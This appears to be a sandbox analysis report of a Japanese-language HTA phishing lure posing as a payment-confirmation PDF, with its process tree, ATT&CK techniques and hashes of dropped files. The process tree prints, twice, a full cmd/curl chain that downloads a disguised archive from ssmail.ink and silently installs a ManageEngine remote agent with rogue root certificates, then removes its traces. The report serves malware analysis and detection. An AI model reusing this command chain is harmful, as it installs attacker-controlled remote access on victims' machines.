C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3540
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\お支払い確認書.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵PID:5212
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" 2>nul & echo Installing... > "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" && curl -L -o "%TEMP%\file_IUFD8FMB.zip" "https://ssmail.ink/down/223/setup.png" && if not exist "%TEMP%\extracted_IUFD8FMB" mkdir "%TEMP%\extracted_IUFD8FMB" 2>nul && tar -xf "%TEMP%\file_IUFD8FMB.zip" -C "%TEMP%\extracted_IUFD8FMB" && cd /d "%TEMP%\extracted_IUFD8FMB" && start /wait msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="%cd%\DMRootCA-Server.crt" DS_ROOT_CRT="%cd%\DMRootCA.crt" && timeout /t 3 /nobreak >nul && cd /d "%TEMP%" && del /f /q "file_IUFD8FMB.zip" && rd /s /q "extracted_IUFD8FMB" && del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"2⤵PID:4336
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"3⤵PID:1636
-
-
C:\Windows\SysWOW64\curl.execurl -L -o "C:\Users\Admin\AppData\Local\Temp\file_IUFD8FMB.zip" "https://ssmail.ink/down/223/setup.png"3⤵PID:3300
-
-
C:\Windows\SysWOW64\tar.exetar -xf "C:\Users\Admin\AppData\Local\Temp\file_IUFD8FMB.zip" -C "C:\Users\Admin\AppData\Local\Temp\extracted_IUFD8FMB"3⤵PID:5816
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA.crt"3⤵PID:2708
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 3 /nobreak3⤵
- Delays execution with timeout.exe
PID:3068
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\お支払い確認書.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵PID:2228
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\お支払い確認書.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵PID:4636
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\お支払い確認書.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵PID:3424
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" 2>nul & echo Installing... > "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" && curl -L -o "%TEMP%\file_283SQQAG.zip" "https://ssmail.ink/down/223/setup.png" && if not exist "%TEMP%\extracted_283SQQAG" mkdir "%TEMP%\extracted_283SQQAG" 2>nul && tar -xf "%TEMP%\file_283SQQAG.zip" -C "%TEMP%\extracted_283SQQAG" && cd /d "%TEMP%\extracted_283SQQAG" && start /wait msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="%cd%\DMRootCA-Server.crt" DS_ROOT_CRT="%cd%\DMRootCA.crt" && timeout /t 3 /nobreak >nul && cd /d "%TEMP%" && del /f /q "file_283SQQAG.zip" && rd /s /q "extracted_283SQQAG" && del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"2⤵PID:5108
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"3⤵PID:5228
-
-
C:\Windows\SysWOW64\curl.execurl -L -o "C:\Users\Admin\AppData\Local\Temp\file_283SQQAG.zip" "https://ssmail.ink/down/223/setup.png"3⤵PID:2764
-
-
C:\Windows\SysWOW64\tar.exetar -xf "C:\Users\Admin\AppData\Local\Temp\file_283SQQAG.zip" -C "C:\Users\Admin\AppData\Local\Temp\extracted_283SQQAG"3⤵PID:5520
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA.crt"3⤵PID:2356
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 3 /nobreak3⤵
- Delays execution with timeout.exe
PID:3488
-
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Indicator Removal
1File Deletion
1Modify Registry
2Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e59436c.rbs
- Size 63KB
- SHA256 592b8f0941905e29e20f6089c30f5de525d39529b569eb688258fd692c42b65f
- MD5 6c2e25e72c8c61224be71d354664f61f
- SHA1 6ef64940807b5ad814efa4f2fe2508ac76a2bfbf
- SHA512 8ff63e77196be0621ae3b1e06ab2455ae0524b29ec7698507120865c3ae0f6236ca7384eb3cc90af6f6d8831791edea4a5c2571c05e59ff0fe28ad49d9d2789d
- SSDEEP 768:PSvw1oOjyhMzY7yjDO+GLUtjWUI2qOOmvJnJI4ImBVbj:K8oGyh7UDO+U/c5rzbj
- TLSH T1E3538262DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37D4DBB457EBF858
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e594372.rbs
- Size 546B
- SHA256 90fba99fea1e2da6c288f53b715e37a128c5752b69f9b636a57a9679466b4892
- MD5 d19bcafb956822721a878b215bc739fa
- SHA1 67aa37252647269b0185514a1781e96a9593a578
- SHA512 3f878712ff4e68969e611ee1d7bfc18a5110bfeff5d707dc36d4c39dca4b5d31e0ffbafbb2a68f5aee69f39e585349a8788f37f4afd48468a5c4ce78ae684433
- TLSH T12BF05996A70846E2E5906B3722031F541E2FE27990D886762D4852306E2231B5EBA0CC
- MD5 SHA1 SHA512 TLSH
- Path C:\Config.Msi\e594376.rbs
- Size 8KB
- SHA256 d1be46a186c32c4eb085b3858ec736a82cdd97ad08763facb0223d3e609a8490
- MD5 82cc429035d7fbebf92a8f52d2a2fb45
- SHA1 240c6691d6bb7e4c0fe84b98a9cd1fc24c586a4f
- SHA512 cf586a1702caeabcb93fb6904f929462f49418a0fe6150c6e02582fa1c529b3c7716169819d343d56b63b8f12d6d97535a6fb82489801a1ffca45e011d5a085f
- SSDEEP 96:SERd4jd4JJ2XovzpzvWeUKL4sDTJJKb5HO2nocR9ilUCxe+ThqkxeOThqkOWSii0:SO4R4JQXovhvYKLJTJQb5H9n5hCnxQU
- TLSH T13D021016F70497C2C4552B34E6071B14376BCDFA86E4826F024CA8319ACB749AFFB94A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e594377.rbs
- Size 546B
- SHA256 9339544601616c1af98ae1f368fc00bfd78685d52aac772e30bd48ce4681cdc0
- MD5 00c8fb13cd836e39f7d23288058905cb
- SHA1 9dd5cf8efe4f060531e13f56a213c33cb7f7449f
- SHA512 d90a950763d0ddc3e780f244c44ac61dbd7fa3bf2c6ee1d827d32a2611aa30ecb979871dc80c99dfffe97a67bb874268a297418126a8f189cfb7e9153d43ec26
- TLSH T136F05996A70846E2E5906F3762031F141A2FE179A0D882762D4812307E2630A5EBA0CC
- MD5 SHA1 SHA512 TLSH
- Path C:\Config.Msi\e59437b.rbs
- Size 3KB
- SHA256 5b3c1347354ae6f326fed99a42759b524458c4d29c4215fb4be840b61a5625b3
- MD5 cc5e6c6aca53fbbda27ab8751e529319
- SHA1 88f2c895ba72501ce87ab0fd3368b30d5b45d62a
- SHA512 e4484e058513c2ffdf8d79b8417d65e23de065502be846a1815b236b80b947de16d06b45abb4d26d72ec75e69699e9f9e9195ec53bb3fe08df7f611755a38b0d
- TLSH T15E71C243A704C683DCA62F31CE17175037B7CBEAC7A58357458CA0705E47B89AFEA58A
- MD5 SHA1 SHA512 TLSH
- Path C:\Config.Msi\e59437c.rbs
- Size 546B
- SHA256 f90111e49c8b03323bc48fe54606d44cf8472db0e6cea1b97d81294d67f95207
- MD5 bbe260594c25f9b9baea4e5a8781d3e0
- SHA1 f1a8e67a9a41dd9117e78fffe98c26e04debad4e
- SHA512 0ee1b70a75aa12972847b3178dffc6624fcc30bf4c00e214b38b95abaa80ad6b1b1ebb3f28c4564fb6565825aa55a74a0be44fbb70f1711721acd5f30b54e711
- TLSH T12DF05996A70846E2E5906B3762031F141A2FE17990D882762D8852306E2230A5EBA0CC
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1KB
- SHA256 f58fce8820dc56ffd0a3319413850a4f080abe8a1b3af7d7bab0791945cb7ed0
- MD5 7dbd925c2ae995b3bee22f3a6cd67a7e
- SHA1 64b3b4ebe627b4333dfdb252138727a4c3164ce0
- SHA512 0ab85eb2380792b60f2e8a19b4f5583a2c8f8c4b59f43a1d2baf94d8b8da1de26a90d9ac1a993f8fb9348057ebd1d4df7306b284a559a78b4565731df9326f65
- TLSH T17E21746367AD648DBD35CE94156E1C86E4A0E74A0EE4011B773321AA0A01B7D350E939
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
- Size 839KB
- SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
- MD5 a5efe54df4f28f6d12adf840dc931b36
- SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
- SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
- SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
- TLSH T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 3.1MB
- SHA256 9686afe1af42fcc33d6ddc18866e2c73d9d5a51c54935ea06d1afcfeb81470fc
- MD5 b03f139c43f82e15ed7ea17bd936dcf0
- SHA1 fd9dd1066dfe3825dde415c0d4155fe969f6f6d0
- SHA512 46e41c6b7305bcdff693d11e777b5772bc244cdf9d39e96ab950919214fd380a74c771304552f7c16910c1c89d9576287caba0fa5a15c46108cc4880c7656081
- SSDEEP 49152:Pg2pzZ21QzJJC9d/ImYL5lYbyMffECDYBPkPzUVGrXvPU5BLBjAKnbwk1S:PgE1PJo9d/ImYNlYbyMffE8nwA
- TLSH T119E59E07FB83D5B1DD8E027801B79B7F5D3A8D184B2089E39B9029ADA8761D0563F36D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot
- Size 250KB
- SHA256 b91fc1ca55df440dc11354b32a39b45db663d24bb17b16dcb2e706330955b0d1
- MD5 a2fb219c999a8fa6b95ad7c24890072e
- SHA1 d0a396e49e4a5cca88e454e3463b7b6b4d57cddb
- SHA512 aca3eaa61261f2bf3d1da691b2d6e48e70efb139238d7b885559573d325449aff9a21452903553799b47c8bdfefe242b1b29b31225e94871767acdd8257066a2
- SSDEEP 6144:7gdw3WS+AcP021JmpP4D5NFhW9FNOj23RHbu6wtAadMYAm/o:7gOm2pgNFhQy29buHt//W
- TLSH T13544123CE5D727C68951C1A34D18A3DE329CF8AE5C56FBA5349AF8BC8CC15130B5EA81
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Medium.eot
- Size 245KB
- SHA256 1727853b9469a665c3a5573e39503bc592a794d810aed5d03e9a8940f507823c
- MD5 cecc32d267ee07ce3413637314b66ca0
- SHA1 627b584f88033791f427091fff74c9310bdc2ef1
- SHA512 b2f21a38ba5608b4851ee8404abb7ce752388b0b9dfcb24c10f4a1961048ce3d4f811f92b7fb7f2040a1f79243b99760e17ed34c4f0f24a5c2031db47322026e
- SSDEEP 6144:SOcdcK8q3U1SniBmXCCCBT6vTy8bV5O+M059N:nOcWEtkCCCBT6Ly8bfM059N
- TLSH T12D341201EAF9036FE595D2CB68056B269517891049B0ECAEE1FF1B3E0CDCEFC46815E9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
- Size 480KB
- SHA256 5cf8b9eaf737aa8a2c99b264d39476f39d0b1ee21f2e766cdb135c41beb3998c
- MD5 9eae1b342e93d2ae0558377e7666fb0d
- SHA1 3f8620091bf8cf4532dcb6a2100ef3123a45817a
- SHA512 035d3577ccccb6a4bf4fbe4176a56da6be461665f130516b3ba79dad4fbd91c054b123ef9ce1306412e6a4451e0058d87386d2d94f99a98cf4c1ea2a7040f03e
- SSDEEP 6144:Q0hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGV2f:QkKB2NPd4sEL90IdI1PbyrPP/
- TLSH T173A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
- Size 30.2MB
- SHA256 e36d23e4db62cd76985e6de144daea97efebaa98fc190583ba580f1e4e9daabb
- MD5 29ecf91819790785a096a838da7d041a
- SHA1 abdc86a8144a71e9fd26d0c7dcbbb6a5ca3c7883
- SHA512 d7adeede7db4e42aea3efd9d83d7d200b9a62abd0e874b6beb128a5691848e637287a88d58a072ccc06ba2bbd45bebc806c62e1c017db0e92bc970324946907c
- SSDEEP 786432:WnXwXxKxDw5AqWpHKFmJzjH2fmC/qEROgoj7qvWew1sjrW:WnHwvY6mJzr2fmC/qEROgoj7qvWewae
- TLSH T10D6733EDCC0CDE59C0AEC8B15C9D9F84590D07E4F0B96036BA983DFA92ADD41A35D398
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
- Size 244KB
- SHA256 cbaa12a8911619f601828b3396a743d586086139982f0fdb1d33517fe9b049da
- MD5 ddca9fa71465d3fd78bebac4a849bf5e
- SHA1 3899eb3c09690d7d907bf16dc52b68a2efbca6b6
- SHA512 2770b5da18e8246b2b7a4c7bd02d62b47fa0366c199eb726777baeb6b86f340d5a0e9d5cbf8db0acc668ab51a591056bf55d99fbbda51781aae19c839d15dd51
- SSDEEP 3072:dR7kVnRpyFf8ZFpwez3EcmHw2Rpa42/pKwfigDucpXfHtF37nOqsYrmXkZcphTAI:dR7kVn5weorw3RrDpfNtnVCXkZosut1H
- TLSH T160348E6175D0C072D9A304369CB8DBB6597EF8200F71A5DB63980A7FDE206C29B7171E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
- Size 1.5MB
- SHA256 6643df48d1424ec944cb6ce02743faed29b4965b5a1dd74dd35c7d9d35267c1d
- MD5 20642fcbe9c9b55044ad903bddebc947
- SHA1 82ce06ba6d9ffa53dbc5b09d52d13b52ec4c66a3
- SHA512 a3f22104ec347cf3ad194a85244cc53be757323ec415f16dd2fe800c5c2cc361542d89da3bd07a16e314aa3abf45ac9af441e8013b0e89d9d9b94fd15e7efbcf
- SSDEEP 24576:UoBzHWp8YBaL3+sLf1DqgXTFcrDSH+MdDXKCLynuu8DtQdVLnQWPPt31yne0iAD:DRtT9X6r5Kk8eVLnQneXAD
- TLSH T1C075AE1372428035D6A100B15939ABB5AFBDAD640F31C4F3A3C4997DC5E09D2A73EB7A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
- Size 1.3MB
- SHA256 b2ca653441c0ef63e25f21c9016b39417d3c2e111cbbf9349a0fd7da440bf56f
- MD5 edf97fb396f6ed4e0ca9e94c54197a20
- SHA1 2920a5b80699664167206a7b3dfaef413c9ac65c
- SHA512 d15e1a8519a4df4405b7292a6af757333a6ebd49a606144a97166599e6576e595319dc5c989323459631d47bae7f0559cfdfae8ac2b5c3cf43c42d54a62337f0
- SSDEEP 24576:wxcYsiKQfBX7CuCHeltz85M9njDUQRDyBDHHb6MBAPtYBAje5G:I7XTTtziO/fRab680Z
- TLSH T18155BF1372528031D5B1C0F19929EB76AF6C9928176294F3A3C49FBD01E45D2AB3FB1E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
- Size 28KB
- SHA256 60d8882f39c586ab3c36b54529d8b31cf30d538c89d0dc2fb8cbae8c344691df
- MD5 91825b38605d333662195bd3b42c869c
- SHA1 44a71532d39b9ddfcfd63914184a9d89f5315973
- SHA512 545a8242463dfc52cd814c0cb205bdf181bb5882f12e0711db15fa2461afb99798b6682dc1cc09f33ebe502d13f599c84563931b1cc3167cdfd1fcc76c60e808
- SSDEEP 384:02wm20Jj93SYQgw58QTGPyuAO8fv7TrpCEAdNbi1AKhHy9v9fp1Tc1aHz82aEgEV:0PY/P
- TLSH T188D24297991D096F022103889AAF76D3A6FCE434897318FEF8D25914AFD9C4A13737B4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz1504.tmp
- Size 2KB
- SHA256 5261b3e69078e902b1de05968785674565757a2fe8233b3d892e7b796ca6a537
- MD5 2420f77785bfd564950ed284dd4c5caa
- SHA1 77c995053109d0222a4d84a2a934df3a7376c8a2
- SHA512 827e27d8a0cedc6d1a492bc5fd9d519e1df714f4e3aad854972fd41fe48a5e08c3c6659cab7e2497b068c50c1d0ea4f3584c9ce2dd1a75f6a86bf23b1a8767f8
- TLSH T191515C122CE87E5B3441C60775C2BCF59CD7876820DD698D946C6F0853936773B71C86
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json
- Size 15KB
- SHA256 217d16bf822447ca72c25b81927c8f45eb654beccba6363819e582e98860d33e
- MD5 cf5799838289c42502297f17ca89b49b
- SHA1 fedc0c8cfb1f9776e096511f8adcd0be5309ca8c
- SHA512 98eb1c47b5d10093e202c6259ace58d2e7ef4957c20892fbd067eaf0c88baba994337c2f1bd802191a0e31ca2b3fee72508559acf54a4653b8c2544b440f7556
- SSDEEP 96:q0SOJbHBAO8bID3O0seObxtEr5r/Qn2sTLnnmI:q0BhBAO8b0Obx9nFLnnmI
- TLSH T19362D593A51D099F0222039999DF7AD3A1BC94384C7328FEF8C259256FDAC1923737B5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\agent-settings.xml
- Size 5KB
- SHA256 47e284135f307b1479e2ad10fb14ce595f259a2412900680cd83ec83f153e082
- MD5 6d7babefb1295c0ae36f22d3d5d71aa7
- SHA1 04d53eb17ecab76480b0de02b84c0db04327867d
- SHA512 0f696169adc02975c7d53f88523be8158155e6394ac149345448c163ac5470f7bf382573879ddccfec34a0e6a397ee53c2bbfff8ce680d84e69fb7d1a4365c3b
- SSDEEP 96:CWdv4W+Ep6S4cVF6cNZcGRD8wjFb4lqiNKhss/EAA:gUGHElZh0vKHzA
- TLSH T1EBB13110A0A18F6913B1775C9A5AEA55CD1602A5360E1E05F02D39A70F3EFC37DB74F6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
- Size 247KB
- SHA256 4a84d8cc08ffa3e45d7e350550fd32d4a0416788eabe3fba77c8c2df2dc1fe6c
- MD5 ff5c89c88fe59a341aa4fe80b6f58215
- SHA1 82f86c6bde49bef92565d6f23e79f84bcdc14e20
- SHA512 16f1a2208c4c9af43635c676a3e2cad98f8d4fcac0facb91cb3d5b9f5e144c45e42978454783abbadd3f29d3d3d02b9f1a455b0ca0f59cd21bcfeaf3a777a3dd
- SSDEEP 768:HtMVQuZ14/++C1TFgSNwbEO6oHJfIb5+qXBi+kpWc2twcIugeIbMjnK8jUEAavAR:HtMzZZ1uSNABIpkIU1
- TLSH T1584417969DFEAC53A2D4091D8E921C087D9A4B874DC91CA035BC7BE4FF634C341A72B9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\customer-meta-data.json3600.tmp
- Size 5KB
- SHA256 0606444b9a6f10ffca5636af1d0bcb67e1a8a629d983cf0912e72cbe46093264
- MD5 004e709632dcf813b345ac095da03c35
- SHA1 a2c40bba42b921d85f608bf0920a5f24bc2d2d8c
- SHA512 d64a716fa724665abe2017aca2d0eb3c392a29bb7b8389bcff3609e617b26d2700ad906e5199189434a1219dda2443cf0a472c55bb5b57fd3418f8a25d0d69ed
- SSDEEP 96:6ogiQsvAZv56hRDJuNtEe89BJ7FPCnUEt:6ogiQsvAZv56hRDJuNtEeYPCnUEt
- TLSH T1C1C1B3D4B1AF4CFD46C6F55A4D5DC06ABAA6F522F1E94C0C3689FC48CECA099F392424
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
- Size 413KB
- SHA256 aa6ab6b406e71bd5f5f4f220de29c8ff8104b318e9e92d8ce74b2755e80b8e22
- MD5 a450789f0d23503c895bafaed3d4be27
- SHA1 459cfaa1cae6090bb8d98b75452e54a3d85f42e5
- SHA512 4d2983551e8de9a883ca7efcf555c5a5e83d32a17fcdabdcc36db7ee16c8b895d2b593b4717cc5fe476b9d9ca7ccbcbdd50aa453a5decbd844beeaa05718892d
- SSDEEP 6144:Zs0Hwax5v/yuOusdCCuRugtQiiNJY7tYaCDDZnxFYYh:6fufQiiNJY7tYFSYh
- TLSH T13694B81A2EDDFED4044AD4648C9471942E7B5A3BE19550C0BCDFEE35BB04ADB2C33A62
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
- Size 109KB
- SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
- MD5 b39316c180a11c7cbefd08019ad9c97d
- SHA1 4f260146ee9e60043f26d21e11d98629b3ca099b
- SHA512 b51a56cfaf4aa324f6343de0bf0595523a9889761bb2813e32e49608678c91d45e09fdc56514e8ba8580a217f8a230b4014a2780fc4a7b0c3948070c7a53811e
- SSDEEP 384:zfR0qVBkP/pCrbHPDwWmatziuPYkErF7Koej0:jpBMpCHP0WPRi77Ko
- TLSH T161B3861B2DFAFAE5048AD8644CA071985EA06377F1815594B8CECE75AF01BCBBC33B15
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
- Size 1.6MB
- SHA256 223fc4388d7e54a0a27395911535adc0cf8b26f7e992dc6f0d189b77331b5137
- MD5 ac79e017281cd633fb90c06a19a180fc
- SHA1 32f8af8ab7c9a9752e7e09b28bba08eb23e8fbd1
- SHA512 68e39d64aabf8be54ca43ed34618da249f3869c33822cb09f3c121cad8bf7640b5533c1cc0f77cb5a1a9bd0e8e079339b609fbd29d2a597204b70b01b071ae8c
- SSDEEP 49152:pIvq3iwEAiWbHTKRU0YCNDZK+/0KoEDKtKzK5xFKOQFKNoDKlW83wKFC+KFE20:2vqSwEPWbHTKi0YChZK+/0KoEDKtKzKd
- TLSH T1FF75AA1B2EF9F6E1044AD8548CA061982E605377E28562D4BCCEDE75AF01BCBBC33B55
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources.properties2172.tmp
- Size 143KB
- SHA256 763c07d5819271312851823c081d2a634fecfd66a0962011a7df36d4d4568068
- MD5 68f9f27cafb41305b34055d5a01aecc0
- SHA1 1d52fb05faf202d76ec9fb0cd3fa881b1345ffd6
- SHA512 573d35d54a88edc2f4f713f444bd9e3f3ad19093ad92d9c8b7730a3bbe5a482fc0800f58fbb84559c62813e117aed113b1a9856543336867835c2d1c46f53e82
- SSDEEP 3072:TpfCA7eTk7RKCwyKlWF/VPKWlAZaE09XhQPl1mWB9L6KTSkt8kRK9WHN:tfCA7M2RKCwyKlAVPKcAvTSC8kRKW
- TLSH T1C6E3A41AD1656B7E37C6132BF03A2FD036B20C588701A9E87899E4F4E67D98121B75F3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ja_JP.properties2172.tmp
- Size 208KB
- SHA256 99d6482e6cfde457bbe18fc6ac59a3e73f813fe1b0ae94949d8e2f68e5d04cde
- MD5 dbdfc86fc8a083b6ecd0101a90642b1b
- SHA1 4a730c9884631d7f0bec7108c85c8c994f560c01
- SHA512 a6dff263ed7bd9bae0c670a2c08ebf418bf449a6238d48259d3c388646623464df8c6533db61e6a51dfedfd2f6efa9b271339ffce3f070b337ab498175c83937
- SSDEEP 6144:P+Wrs4i6mMLTIop5xP4PgKD1joHYs4eSbSb:GTgpYs4eSbK
- TLSH T1C424422CD2A66A3F7B501337B43D2BC170724C55ED567ABA651DC4F0EA3C48EE05A8B2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
- Size 4.6MB
- SHA256 a7a4b5c6bec7aca1fcdcb4e9f7c63d61e0627abb8005196093dda4cb69ff5817
- MD5 ea91c91fe4d5d47d01aeebe7a653fb6e
- SHA1 ef23907600d91cb19d45941029149f2aecac9ed7
- SHA512 738cda801ca628b5ebca1217b413dbeaaeb816ab5ecfb4771fcd1357841c8f7860f3d0df5e5bcb95cf23ca60703ecb71c883fe4d4c630bea2d4c6b858b9f8570
- SSDEEP 98304:p8XSj1dmU0qRXQ8G4jUZWNglh29XXBSOodYq/:pISjCqXW4quhpoaq/
- TLSH T1FF36CF27BF43C070D99E02B425BA9B7B5E3D8A244B3184E397D028BE84B54D1663F76D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
- Size 36KB
- SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
- MD5 171937a8fad6a1c8a37344d09d4fc20c
- SHA1 834ef4f8bdf16e94383272f7024070cebc002cfe
- SHA512 c65909a920b6de0b19e083bab695e8e2dc812c143910ee1e0e69e7141a85e9fae0b2332795d52957aba5829609cd66bcbd4045eddde4df98c0a20c306a64aa3c
- SSDEEP 768:2vevzUxNXpUN3RRTe5fF7leCB8EumP7M+e265Cz7NIpYIOi+SLyyS:2vevKNZUtRRfCBXF2HCHmpY3i3OL
- TLSH T10303E1795E45653DC4B283B7A1D8E3AF340F0A087A50653C13A3C36D6ABC7083F529EA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico
- Size 14KB
- SHA256 2d92583e576b380e3d8246a5bdced4a205860d49d9ef66e4acde5007caefac24
- MD5 3f93e0ea97079b1f5b356166db334740
- SHA1 ea3022d31459c8904df1e8f406741960fe9ce653
- SHA512 24584bb387c1981ac08f4266f7312444ee922486f1d20a3d9f655df09048e347c8c2df8be64e3ec99b8d603e4e088296a2abb3e68fc2e85eb5431efba3971c36
- SSDEEP 384:1w////ncRy/wUwRRR0RRZRXUuPPPPPP3opSLhRRwyRRWFRRyRDRRjRRRRRKRRRR+:5C
- TLSH T182624886C4054ACDCADA9B33C6EE56BF8A9508B88007504503FC3DF5EB53B19FE6A14E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
- Size 449B
- SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
